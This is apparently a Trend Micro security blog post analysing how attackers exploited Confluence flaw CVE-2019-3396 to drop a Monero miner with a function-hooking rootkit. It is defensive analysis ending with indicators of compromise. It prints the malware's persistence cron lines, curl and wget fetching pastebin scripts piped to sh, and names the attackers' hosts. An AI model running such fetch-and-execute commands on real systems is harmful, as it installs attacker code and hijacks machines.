CVE-2019-3396: Exploiting the Confluence Vulnerability

blog.trendmicro.com/trendlabs-security-intelligence/cve-2019-3396-redux-confluence-vulnerability-exploited-to-deliver-cryptocurrency-miner-with-rootkit/

May 7, 2019

In March 2019, Atlassian published an advisory covering two critical vulnerabilities involving Confluence, a widely used collaboration and planning software. In April, we observed one of these vulnerabilities, the widget connector vulnerability CVE-2019-3396, being exploited by threat actors to perform malicious attacks. Security provider Alert Logic also discovered the vulnerability being exploited to drop the Gandcrab ransomware.

It seems that these incidents are not the last we've seen of the CVE-2019-3396 exploitation, as threat actors are still finding new ways to exploit the vulnerability. We discovered that it is also being used to deliver a cryptocurrency-mining malware containing a rootkit that was designed to hide its activities. This technique is highly reminiscent of another attack that occurred in November 2018 that used a similar miner-rootkit combination.

Arrival and propagation

Figure 1. Infection chain

Figure 1. Infection chain

The attack begins with a remote command sent to download a shell script from pastebin (*hxxps://pastebin[.]com/MjGrx7EA*).

This shell script kills certain processes and then downloads and executes "lsd_1" from another pastebin (*hxxps://pastebin[.]com/CvJM3qz5*). This file is a second shell script that will drop a third shell script, "lsd_2," sourced from yet another pastebin (*hxxps://pastebin[.]com/a3EAddwq*).

This shell script is responsible for downloading a trojan dropper from the following servers:

- gwjyhs[.]com
- img[.]sobot[.]com

The malware, kerberods (detected as Trojan.Linux.KERBERDS.A), is a custom-packed binary that installs itself via cron jobs:

- */10* * * * curl -fsSL hxxps://pastebin[.]com/raw/60T3uCcb|sh
- */15* * * * wget -q -O- hxxps://pastebin[.]com/raw/60T3uCcb|sh
- */10* * * * root curl -fsSL hxxps://pastebin[.]com/raw/60T3uCcb|sh
- */15* * * * root wget -q -O- hxxps://pastebin[.]com/raw/60T3uCcb|sh
- */15* * * * (curl -fsSL hxxps://pastebin[.]com/raw/rPB8eDpu||wget -q -O-hxxps://pastebin[.]com/raw/rPB8eDpu)|sh

Kerberods is responsible for dropping the cryptocurrency miner (khugepageds, detected as Coinminer.Linux.MALXMR.UWEJI) and its rootkit component.

One particularly interesting aspect of the binary is the way it drops the rootkit. First, it writes the code for the rootkit to a file named */usr/local/lib/{random filename}.c*.

Figure 2. Writing the rootkit code

Figure 2. Writing the rootkit code

The rootkit is then compiled via gcc, with the output binary being /usr/local/lib/{random filename}.so.

Figure 3. Compiling the rootkit codeFigure 3. Compiling the rootkit code

Kerberods also has multiple ways of propagating itself, spreading via SSH and *exploiting* CVE-2019-1003001 and CVE-2019-1003000.

As for khugepageds, it is an XMRig 2.14.1-mo1 Monero miner with a config that is hardcoded into the binary:

Figure 4. The miner’s config

The mining pool can be accessed at *systemten[.]org:51640*.

Rootkit as evasion method

As mentioned earlier, this attack shares many of the same characteristics of last year’s incident, such as the use of pastebin as a C&C server, the miner payload, and its use of a rootkit to hide the malware.

Like kerberods, the miner payload also uses a custom packer to impede analysis.

Figure 5. The custom packer used for the cryptocurrency-mining malware

Figure 5. The custom packer used for the cryptocurrency-mining malware

Unlike the older rootkit that only hooks the *readdir* function to hide the mining process, this new version hooks more functions. It hides not only the mining process but also certain files and network traffic. It is also capable of forging the machine’s CPU usage.

The hooked functions are shown below:

- fopen
- fopen64
- lstat
- lxstat
- open
- rmdir
- stat
- stat64
- __xstat
- __xstat64
- unlink
- unlinkat
- opendir
- readdir
- readdir6

Most of the hooked functions would return a “No such file or directory error” if their parameter contains the file name of the rootkit, the miner, or ld.so.preload.

Figure 6. Hooked functions returning an error to hide the infection

Figure 6. Hooked functions returning an error to hide the infection

The following image shows the htop system monitor output with and without the rootkit loaded. Note how the version with the rootkit loaded hides the CPU usage and the mining process.

Figure 7. Comparison of the htop system monitor output showing the version with (right) and without (left) the rootkit present

Figure 7. Comparison of the htop system monitor output showing the version with (right) and without (left) the rootkit present

Figure 8. Netstat output before (left) and after (right) the rootkit is loaded

Figure 8. Netstat output before (left) and after (right) the rootkit is loaded

Figure 9. Functions for forging CPU usage and TCP connections

Figure 9. Functions for forging CPU usage and TCP connections

Figure 10. Forging network traffic

Figure 10. Forging network traffic

Figure 11. Forging CPU usage

Figure 11. Forging CPU usage

The rootkit also serves as a form of persistence by hooking the access function so that a cron job is created to reinstall the malware whenever it is called.

Figure 12. Code showing the cron job used to download and execute kerberods

Figure 12. Code showing the cron job used to download and execute kerberods

Security recommendations and solutions

We've seen multiple attacks involving CVE-2019-3396 within a short span of time. This shows that cybercriminals are willing and able to abuse any vulnerability in multiple ways. This emphasizes that continuous monitoring is needed to detect any threats in an organization's environment.

For effective monitoring, organizations can look into the Trend Micro™ Hybrid Cloud Security solution, which provides powerful, streamlined, and automated security within the DevOps pipeline. It also provides multiple XGen™ threat defense techniques for protecting physical, virtual, and cloud workloads. In addition, it protects containers via the Deep Security™ and Deep Security Smart Check solutions, which help DevOps and security teams scan and ensure the security of container images during preruntime and runtime.

The Trend Micro Deep Security solution protects user systems from threats that may target the following vulnerability rule:

1009705 - Atlassian Confluence Server Remote Code Execution Vulnerability (CVE-2019-3396)

Indicators of Compromise (IoCs)

Details	Hashes (SHA-256)	Detection Name
kerberods (coinminer binary)	a9228b6a3fe0b8375d6b881626fd4b59fbbf54dbd60a94b085ee0455b3d18fe9	Trojan.Linux.KERBERDS.A
khugepageds (cryptocurrency mining malware)	25064a5ab78cdd36e7049d00b9319222906dd634908c1858e2262bf333631213	Coinminer.Linux.MALXMR.UWEJI
random.so (rootkit)	3392589c9ebbf7600035574e338d69625cd5ce83ee655582fe8bbadb663532b3	Rootkit.Linux.KERBERDS.A

Cloud

We discovered the Confluence vulnerability CVE-2019-3396 being used to deliver a cryptocurrency-mining malware containing a rootkit that was designed to hide its activities.

By: Augusto Remillano II, Robert Malagad May 07, 2019 Read time: (words)

Content added to Folio